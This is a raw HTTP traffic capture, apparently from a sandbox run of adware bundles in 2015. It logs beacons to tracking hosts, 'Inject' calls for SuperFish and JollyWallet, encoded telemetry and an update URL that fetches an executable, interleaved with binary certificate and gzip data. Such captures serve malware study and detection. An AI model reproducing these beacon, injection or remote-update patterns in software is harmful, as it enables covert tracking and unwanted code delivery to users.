Server: ECAcc (rtm/3541)
VTag: 791153316100000000
X-Cache: HIT
X-Powered-By: ASP.NET
Content-Length: 51739
0...0......0...*.H........0..1.0...U....US1.0...U....Washington1.0...U
....Redmond1.0...U....Microsoft Corporation1.0...U....Microsoft IT1.0.
..U....Microsoft IT SSL SHA2..150209050638Z..150217052638Z0...02..Z...
.o1At:~..........140611053232Z0.0...U.......02..Z........7..w........1
40610132751Z0.0...U.......02..Z......nb..y.........140610132751Z0.0...
U.......02..Z..."S....2......."..140609213929Z0.0...U.......02..Z....W
y.l.!L.........140606155944Z0.0...U.......02..Z....,)."............140
604183121Z0.0...U.......02..Z......-. ..l........140604174925Z0.0...U.
......02..Z....$..x..q.........140604173444Z0.0...U.......02..Z.......
...K.........140603144730Z0.0...U.......02..Z.....t..As..........14060
3102811Z0.0...U.......02..Z.... ..b............140603080319Z0.0...U...
....02..Z.......H.r.D........140603013424Z0.0...U.......02..Z.....bM..
..G........140602100514Z0.0...U.......02..Z....._b!]...........1406020
60640Z0.0...U.......02..Z....:S..P.=.........140527234127Z0.0...U.....
..02..Z....(...G.8C........140527155451Z0.0...U.......02..Z....Zd. V..
.........140527155451Z0.0...U.......02..Z.........Ge!........140527155
[email protected].>[email protected]....
...02..Z...?...{T........?..140527155450Z0.0...U.......02..Z...>..z
..=.......>..140527155450Z0.0...U.......02..Z...;.,k..0R......;..14
0527155450Z0.0...U.......02..Z...:h..jg.E......:..140527155449Z0.0...U
.......02..Z...5$.A{.2.......5..140527155449Z0.0...U.......02..Z...4..
...D'Y.....4..140527155449Z0.0...U.......02..Z...2.a...........2..
<<< skipped >>>


GET /v4/searchprotect/535559167_198339_B48A115F?action=visit.heartbeat.smt&update0=ref,smt&update1=nation,us&update2=language,en&update3=version,4.0.1.1716 HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Thu, 12 Feb 2015 05:33:47 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"0.54 ms","message":"store 2 action and 4 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Thu, 12 Feb 20
15 05:33:47 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.54 ms","message":"store 2 ac
tion and 4 update "}..0..



GET /MEQwQjBAMD4wPDAJBgUrDgMCGgUABBSxtDkXkBa3l3lQEfFgudSiPNvt7gQUAPkqw0GRtsnCuD5V8sCXEROgByACAwI6dg== HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: g.symcd.com


HTTP/1.1 200 OK
Server: nginx/1.4.7
Content-Type: application/ocsp-response
Content-Length: 1363
content-transfer-encoding: binary
Cache-Control: max-age=372546, public, no-transform, must-revalidate
Last-Modified: Mon, 9 Feb 2015 12:58:45 GMT
Expires: Mon, 16 Feb 2015 12:58:45 GMT
Date: Thu, 12 Feb 2015 05:34:07 GMT
Connection: keep-alive
0..O......H0..D.. .....0.....50..10......7).nj./P(.3.\\.;.B....2015020
9125845Z0f0d0<0... ..........9.....yP..`...<.......*.A.....>U
....... ...:v....20150209125845Z....20150216125845Z0...*.H............
.e...c-.JM..D.9........[..NV...$..s ...K].3.',.yj.....*A.....i..h%..KC
B8?.y ..-w.".<..wF....&*.JF.^.._ .E.:.v.H......... !=.....C........
$...@..^.q/$?.V.Ul....D<..8...es.....V....E..10r...3.Ob............
...Yvr......]Uu?B.....j ^4$Lj@."-m.N?-@b...~n.......Z....0...0..}0..e.
.......:}0...*.H........0B1.0...U....US1.0...U....GeoTrust Inc.1.0...U
....GeoTrust Global CA0...141201130534Z..151216130534Z02100...U...'Geo
Trust Global CA TGV OCSP Responder 30.."0...*.H.............0.........
...\.hpc..J.a.j-.t......F`Aw...)L.YE.2..~..-...2.Y(.".CZ.w..T..Y. syd.
....x..YE..<....lwv.:J.76>U....uF.a.|8N.. ..1p...`f.X...B>x..
............6..m.&...'..W.plK....[.m.V..h..lI.........?~.....>.|'..
..o...A!.Pm.*.N ...<.....3...*|.x._..1..m.W<*....._S............
.0..0...U.#..0....z.h.....d..}.}e...N0... .....0......0...U.%..0... ..
.....0...U...........0...U.......0.0!..U....0...0.1.0...U....TGV-B-283
0...*.H.............~....2!...V..0...Y....L..k....z}~a.3Y.x..dS.L...Dk
$a...nR9_......B......m....Y....U.5....'.....<{....v&=.2].....j*.r(
7...=..w.I...z....\.#.J.ac.....I.[.[....6.X....0...g.3d...z.i.H..f...v
.....\.....^.N..1.J<.)`Z.....4.-.E..n.E.~t....v.e.T...?. ......i..%
....
<<< skipped >>>


GET /js/jquery-1.8.3.min.js HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: VVV.youtubeaccelerator.com
DNT: 1
Connection: Keep-Alive
Cookie: ASP.NET_SessionId=lusi11zr5h1hwcopad25teyn



.a hL...h......fF......w......f|^f......4.$.'mvgI.&{.g}......QA.......
..34 ..fUUC.!........K....U4&.....Q...C..y>..fE......5.R...;..&... 
i...YM..Q'..&.&..p.|,.........b.q&8...W........Q...:2......{.....u...!
...-.Pj.N^s.pBZ../[email protected].._l..=....o...-...b..{.'...}./....W.5.qM
.....m0..=T..T4Ix...B.JE..{...|...]nL...R^C....N......f.P.P6..#B"ds...
.?.ChV...d...?.;..HG.........<.d...}.....A....9...../....j.dn.. ...
I...4(=.X.t.;R..WX]Qk..!<.9.([email protected].!...A.(...D.
.....P..2u.......L.FY..}........w..H...F>X...-|".._..d.H..]......F.
....(.}..J.........G.`HmE......B........i>.a...w..lI)X #/..........
..v.*.8.i.C.(........e.{k.../.i]5.y....y...n..w.0.D^...^...u.;......%#
....K....<.......M..9.?...%9.0*w....>!.#.. .........Rj..i.k..&..
.*.~...b..;.M!"........r.4?...gdQ..*.n.Aj......-^d.y_.n../"..."....H.R
......x..3..M.....]..y....v........a.C...<.....zI.PmS...h.....--...
wN*f.2>......=....P.Uy..&....{.jf=^... ...1.G...^5.h....2".)g.}F...
7.|Zd.i..9{D.C..UuA.XV.$..Z..y.....=Z.,}.Y...<"[email protected]
..M&.K.;..YL..J..C..N....KIC.1......%.j......4_........G../...K..(..9s
.........F..1.5.t.........#<=.?..*..#..(..6....~....sr..k..k..J?./$
....iV...7........Du.r.n......*.d._.-.....)/JN....H..|.B..EK...i..7..%
.v...Sc..V1W..;.........I.|&.y...G.A...d&..N.."i..J6....g-.....f..j"..
...h.|[email protected].[.w.......$.JY...gZ,.....:..x6w...U..w
L..j y.b..=..7..y.$.<v.9.....h:...^...=.h}4.7.@...>Cr.....h.m)3I
..4.....QQ/..S.iT.g...$.@..>.o_.s,k.rVM.....[...........OFs.c_.
<<< skipped >>>


GET /t.ashx?e=043Mckb8Lnhw7iCtSAyu/yHCCdGv/L44E f21Fb kDFAXdQqxJ1va3sc7hbJtTJH b/YhL9w2PTXoMXpqBnYfe/II5CuokaC4u3oGHN86wOx2KlVs8m8LqSlVGmgAnwDCNiNeNKIpAKM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23N8xrbOAlOf HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1vw44q53d84jx.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 13
Connection: keep-alive
Cache-Control: private,no-cache, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:42 GMT
X-Cache: Miss from cloudfront
Via: 1.1 8cd0e1b054d4e5083057646da4909e74.cloudfront.net (CloudFront)
X-Amz-Cf-Id: T5eakCl57kYQ3Q0ixADtTlHzJWim9GWTXInsBqronNuFl1N6CGce_Q==
abfgshdgfjhsk....


GET /t.ashx?e=043Mckb8Lnhw7iCtSAyu/yHCCdGv/L44E f21Fb kDFAXdQqxJ1va3sc7hbJtTJH b/YhL9w2PTXoMXpqBnYfe/II5CuokaC4u3oGHN86wOx2KlVs8m8LqSlVGmgAnwDCNiNeNKIpAKM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23N8xrbOAlOf HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1vw44q53d84jx.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 13
Connection: keep-alive
Cache-Control: private,no-cache, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:42 GMT
X-Cache: Miss from cloudfront
Via: 1.1 8cd0e1b054d4e5083057646da4909e74.cloudfront.net (CloudFront)
X-Amz-Cf-Id: ikDqwe-LBfdEzn2H77VYtnS4nui6zO7jJeJaE20FZIZvKi3zT7D_Jg==
abfgshdgfjhsk....


GET /t.ashx?e=043Mckb8Lnhw7iCtSAyu/yHCCdGv/L44E f21Fb kDFAXdQqxJ1va3sc7hbJtTJH b/YhL9w2PTXoMXpqBnYfe/II5CuokaC4u3oGHN86wOx2KlVs8m8LqSlVGmgAnwDCNiNeNKIpAKM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23N8xrbOAlOf HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1vw44q53d84jx.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 13
Connection: keep-alive
Cache-Control: private,no-cache, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:42 GMT
X-Cache: Miss from cloudfront
Via: 1.1 8cd0e1b054d4e5083057646da4909e74.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 4pAQAF2MhIrB58ga9vKLGzINX1gpSbfkOkBlG5Fsdg6rsQNSvgGwXA==
abfgshdgfjhskHTTP/1.1 200 OK..Content-Type: text/html; charset=utf-8..
Content-Length: 13..Connection: keep-alive..Cache-Control: private,no-
cache, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 2.0.5072
7..X-Powered-By: ASP.NET..Date: Thu, 12 Feb 2015 05:32:42 GMT..X-Cache
: Miss from cloudfront..Via: 1.1 8cd0e1b054d4e5083057646da4909e74.clou
dfront.net (CloudFront)..X-Amz-Cf-Id: 4pAQAF2MhIrB58ga9vKLGzINX1gpSbfk
OkBlG5Fsdg6rsQNSvgGwXA==..abfgshdgfjhsk..



GET /app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UkmHgElHm6ZYRTcio4GHUdmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUNj04KXGjYQnPHJvXTg/akCAO3s1/FmYFjO2vDD70UhaWuFOi2qi2KH&product=EXTFirefox&rnd=1423719207&it=0&action=Init&text=Ext version: 1.0.0.4. Firefox version: 29.0.1. DB name: database1_0_0.json. DB version: 1.0.1.0 HTTP/1.1
Host: rep.shopper-pro.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:33:22 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UkmHgElHm6ZYRTcio4GHUdmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUNj04KXGjYQnPHJvXTg/akCAO3s1/FmYFjO2vDD70UhaWuFOi2qi2KH&product=EXTFirefox&rnd=1423719207&it=0&action=Inject&text=JollyWallet HTTP/1.1


Host: rep.shopper-pro.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:33:22 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Thu, 12 Feb 20
15 05:33:22 GMT..Content-Length: 0..



GET /app/ping.ashx?e=ZuS0/O3oV2poN0mNQrpltmZheUL K4kTi0dT3oZebpKM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23LymH6HWKlXOvLBF7h Ky091qtryhzhzNfFyb8RVzNTvokZ0dxrzDKhqh1L6MxPEK3NE8U9vFRP&product=EXTBHO&bhov=1.1.2.0&rnd=4596&action=Init&text=BHO version: 1.1.2.0. IE version: 10.0.9200.16521. DB name: yta_database1_0_0.json. DB version: 1.0.0.1&usid=2858020935-2156992550-3658131804&pixguid=572a1153-8705-4466-affe-b5bad540fde1&it=6 HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)
Host: rep.youtubeaccelerator.com
DNT: 1
Connection: Keep-Alive
Cookie: _ga=GA1.2.859618243.1423719243; _gat=1


HTTP/1.1 200 OK
Cache-Control: private
Content-Type: image/gif
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:34:02 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Thu, 12 Feb 2015 05:34:02 GMT..Content-Length: 0..



GET /video_accelerator/wizardtest/SMALLTEST.HTM?random=734312&mode=nolsp HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: test.youtubeaccelerator.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html
Content-Encoding: gzip
Last-Modified: Mon, 21 Jul 2008 09:41:32 GMT
Accept-Ranges: bytes
ETag: "bfefaff515ebc81:0"
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:33:06 GMT
Content-Length: 167
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?".......~....O......7.O.........
....'_>.}. ..>..o.?...MF...HTTP/1.1 200 OK..Content-Type: text/h
tml..Content-Encoding: gzip..Last-Modified: Mon, 21 Jul 2008 09:41:32 
GMT..Accept-Ranges: bytes..ETag: "bfefaff515ebc81:0"..Vary: Accept-Enc
oding..Server: Microsoft-IIS/7.5..X-Powered-By: ASP.NET..Date: Thu, 12
 Feb 2015 05:33:06 GMT..Content-Length: 167...............`.I.%&/m.{.J
.J..t...`[email protected]#).*..eVe]f.@......{....{....;.N'...?\fd.l..J
...!....?~|.?".......~....O......7.O.............'_>.}. ..>..o.?
...MF.....



GET /mstag/mstag.1003102000.js HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: flex.msn.com
DNT: 1
Connection: Keep-Alive
Cookie: mh=MSFT; CC=UA; CULTURE=EN-US; SRCHD=SM=1&MS=3093912&D=3093912&AF=NOFORM; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20131118; MC1=V=3&GUID=373863f57d114b0289364f6434076125; brdSample=0; MUID=1785AC2FD94664211AC0A9A6DD466620; cbus=subint:1:138479115


HTTP/1.1 200 OK
Cache-Control: max-age=86400
Content-Type: application/javascript
Content-Encoding: gzip
Last-Modified: Wed, 29 Oct 2014 21:30:02 GMT
Accept-Ranges: bytes
ETag: "069797fbff3cf1:0"
Vary: Accept-Encoding
Server: Microsoft-IIS/8.0
Date: Thu, 12 Feb 2015 05:33:58 GMT
Connection: close
Content-Length: 1956
...........Xm..... :LG&.8J:.MB.N.$N........Y.@$(....@....{....vM>H$
v.],......."...qw<qr...g.]e,v.S.(.......P........t:Eao.j.H..Y...A(.
3wx%N.....b..f...9.......W...).J....3...j..xQn.........:!.,"..*.EY....
Ct........X......$.)G....:...,..Q......\...|...s.%.b.K...Q..7w.r...t..
{.I..e .....1._9..3.....Fx%...i.U..9.))....*._K&..Y.p.Y.*.*)E...I_f...
]S.#..TE.......c..0..u..M.!...q.0..s....G9Y:...wK.....^.kZf..g1`)Z...R
c........A..A.Q/>M....ee..............Z^. ..|[email protected],..2..%.c
........,.,...c...?..-/.r G...Q..d...?..-.!......i.....3....{..[..H.|.
........b.4..kH...t....A.!.y..v.. .:..uuu..VC.....^..2.>....M.oQ.W.
.V.4....u.....d(l.."':......V .b..e0....{....0...9Y.Q........b.~s....Z
...2..:.....2....'T.(......L.r..H0V.[...C..k.)..T....J.#.T.i...Ve..G..
...N.i.n<[email protected]..!.(..F...L..J.......3..x.....U.w
>.S..`..4.4}S.h.....1._.k[[email protected].>.e.eKa...Q..m.....\6.~.
.(x....9.....r..F.....M...)n%..84W...6..?..X..>........xC..oL....s.
......... ...w...$!...,......l.........$..fH....K.S.;.A$....{... ...e.
....$..P....C.....:....s.|...,.(3..k2#...o...g!..q...'.m.....R((-..N.w
 .....!a.J.4... ML.x$....`Z...tj...{..'..[.2.n.;[email protected] ..6...`.....m.
....H=U..P.....H_ O[[email protected]/.Q........p.C..GG..>..>..Q;3\.7...
.yk..Y.)..{.........H`..{.1.rPc.5.|..t..S. ra. .....0......c.S~...]..6
.....f....X....A.a.a..A.c;..3....<[...y.v...N....^R.r ..Z&.u.=.._.2
u...*p.=..\h.....a.!m.........g.&..d.).t`...H........>....U...u....
.......JC.....l-..8w..p{..k...\.......s..@.$1G2....l.spb.,.Q...3.`
<<< skipped >>>


GET /online/Register.aspx?CV=2.0.0.0&ProductID=12000&UserID=&Password=&OS=10&EMail=&Newsletter=&V=3.3.9.4&Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&BundleID=NONE&BrandID=NONE&PartnerList= HTTP/1.1
User-Agent: CoreWinInet
Host: online.GOOBZO.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 98
Content-Type: text/html; charset=utf-8
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=tdswdgjrsqxmq045be3kxg45; path=/; HttpOnly
Date: Thu, 12 Feb 2015 05:33:06 GMT
Connection: close
<RESULT>.<USER>.<ID>23f64a69-484a-4cc0-90a1-c34b1144
1526</ID>.<PW>7c2fslav</PW>.</USER>.</RESUL
T>...



GET /webplayer/appshat/config.json HTTP/1.1
Accept: */*
If-Modified-Since: Sat, 1 Jan 2000 00:00:00 GMT
Cache-Control: max-age=0
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.bigspeedpro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:33:53 GMT
Content-Type: application/json
Content-Length: 778
Last-Modified: Mon, 27 Jan 2014 15:16:30 GMT
Connection: close
ETag: "52e6784e-30a"
Accept-Ranges: bytes
{.."group-name": "AppsHat",.."program-name": "AppsHat",.."about-text":
 "Apps Hat\n(c) 2013 Somoto Ltd. All rights reserved\n\nTerms and Cond
itions:\nhXXp://VVV.appshat.com/eula/ahd\n\nPrivacy Policy:\nhXXp://ww
w.appshat.com/privacy/ahd",.."title-icon": "hXXp://VVV.appshat.com/ima
ges/16x16.ico",.."tray-icon": "hXXp://VVV.appshat.com/images/16x16.ico
",.."shortcut-icon": "hXXp://VVV.appshat.com/images/64x64.ico",.."unin
stall": "Apps Hat",.."url": "hXXp://VVV.appshat.com/home",.."width": 1
024,.."height": 795,.."cache": 86400,.."alwaysontop": false,.."program
-version": "2.13",.."start-on-windows": true,.."title": "Apps Hat",.."
tooltip": "Apps Hat",.."minimized": true,.."update-url" : "hXXp://VVV.
bigspeedpro.com/mirror/nerocrossrider/appshatmini/appshatmini_update.e
xe"..}....



GET /app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UkmHgElHm6ZYRTcio4GHUdmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUNj04KXGjYQnPHJvXTg/akCAO3s1/FmYFjO2vDD70UhaWuFOi2qi2KH&product=EXTBHO&bhov=1.0.1.4&rnd=3731&action=Inject&text=SuperFish&usid=2858020935-2156992550-3658131804&pixguid=572a1153-8705-4466-affe-b5bad540fde1&it=6 HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
DNT: 1
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:34:02 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Thu, 12 Feb 20
15 05:34:02 GMT..Content-Length: 0..



GET /20694.ashx?e=4mC0vXGWFtrPpyTTOfle7DVo9pvdtEJBOI8Rz6lttmP8ln8Iap23//2TEkHeJNDU9z6MsirOygDlcAXTaV9SImUl0xzv/1Q1n14WGxPVpt5CrKRl6uWYlY4G r 3F6T7iJiWa2JIZk6M8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23N8xrbOAlOf HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:45 GMT
X-Cache: Miss from cloudfront
Via: 1.1 a1f7dccda76e63b2a1a4c1c034019a4b.cloudfront.net (CloudFront)
X-Amz-Cf-Id: KL-LToO_wN1XLa-hXE2Dllo28emx0adVZqBLdgXlHQ3pIKsw3eLmkA==
....


GET /20694.ashx?e=AZwPyJy3TZi4/9HrRpQ3bDVo9pvdtEJBMgYijsrP77X8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTp6/ 5R/l3e4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9GLJNFKept W3bwyJuwJoGyeY/e3xqcYN4S9axy8Rwa3X4l9XCm/Va9T0skxmwV AvCKQhXfcYgO0JQd5HxgIXe6hh4TSs5wkW3TZxLuun9qBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLa5/6I3/Sv7o41Qw0dbOi3wDj0IEhxMNvhukh0cXatjLw97oc1UXzCYXwql6nKegU HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:23 GMT
X-Cache: Miss from cloudfront
Via: 1.1 a1f7dccda76e63b2a1a4c1c034019a4b.cloudfront.net (CloudFront)
X-Amz-Cf-Id: mSIda1NePQNgoy9nAUKq9P9gbloKYt4EekRArkha7YzZWd4fnvGH9A==
....


GET /20694.ashx?e=AZwPyJy3TZi4/9HrRpQ3bDVo9pvdtEJBMgYijsrP77X8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTp6/ 5R/l3e4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9GLJNFKept W3bwyJuwJoGyeY/e3xqcYN4S9axy8Rwa3X4l9XCm/Va9DzSREg8dBLdCUHeR8YCF3e0ze47pQVOJ6ui3jv/3sP/4jVWMunDHWleI3B6uYg8lqpwuyqc3XiTEOgAi5qcHFAjty0U0tb3YV31 7Nekt0xm46XXR1FJOjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701LP/pHSI lRPAjc/9GqmaG9iEnhH14nzCmezS8dyds6vSws0phWZ1n8A== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:45 GMT
X-Cache: Miss from cloudfront
Via: 1.1 a1f7dccda76e63b2a1a4c1c034019a4b.cloudfront.net (CloudFront)
X-Amz-Cf-Id: Fi79LQmQ8dc3MQ4HmMEIHqXGAilpyXDThWVnoTbhMl8Wl3Lhic6i_A==
....


GET /20694.ashx?e=AZwPyJy3TZi4/9HrRpQ3bDVo9pvdtEJBMgYijsrP77X8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTp6/ 5R/l3e4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9GLJNFKept W3bwyJuwJoGyeY/e3xqcYN4S9axy8Rwa3X4l9XCm/Va/VnFVL/bsGoNCUHeR8YCF313OfQWxYQIj9DDxdB8IX3/IOb5O/qAEzZrdGZ5CXclXYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvacfllhTnkPN 1/TMhKzXOVw4eC7FKX8Ijj71aclsTdMXuvGWC0MX2mNFS4PLhAi9H HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:23 GMT
X-Cache: Miss from cloudfront
Via: 1.1 a1f7dccda76e63b2a1a4c1c034019a4b.cloudfront.net (CloudFront)
X-Amz-Cf-Id: okJdGpGP68ZQNqw3Q-Mif_LfG_TeCumkym3F01Zq8NxJVqD9bbZPHw==
....


GET /20694.ashx?e=AZwPyJy3TZi4/9HrRpQ3bDVo9pvdtEJBMgYijsrP77X8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTp6/ 5R/l3e4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9GLJNFKept W3bwyJuwJoGyeY/e3xqcYN4S9axy8Rwa3X4l9XCm/Va8U4NDWVSf76ATxIUcsgQ wO1MeTElIgRus2zM3OKTsdhhqfTLLUt3A0w03bJUd6M6r6tum2 2Wo8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfc2l ha66tvUgpx3XeR1Dp7OBGnL40M1tCKrCQNpvqPPPg5ZgbzKdXM= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:24 GMT
X-Cache: Miss from cloudfront
